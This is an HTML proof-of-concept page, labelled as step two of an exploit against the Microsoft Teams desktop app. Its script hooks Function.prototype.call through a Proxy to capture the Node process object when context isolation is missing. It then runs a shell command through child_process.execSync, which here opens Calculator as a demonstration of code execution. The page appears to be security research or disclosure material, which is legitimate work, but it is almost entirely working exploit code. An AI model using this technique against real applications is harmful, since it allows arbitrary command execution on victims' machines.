<!DOCTYPE html> | |
<html> | |
<head> | |
<script> | |
// without context isolation the Function prototype is shared with with nodejs internals. | |
// this means we can overload and a hook a function call that gets the node "process" object. | |
Function.prototype.call= new Proxy(Function.prototype.call, { | |
apply: function(target, thisArg, argumentsList) { | |
var ret = Reflect.apply(target, thisArg, argumentsList); | |
if(argumentsList[0].pid){ // this is probably a process ref | |
argumentsList[0].mainModule.require('child_process').execSync('open /Applications/Calculator.app'); | |
} | |
return ret | |
} | |
}); | |
location.href="done.html" | |
</script> | |
</head> | |
<body> | |
MSTeams POC Step #2 | |
</body> | |
</html> |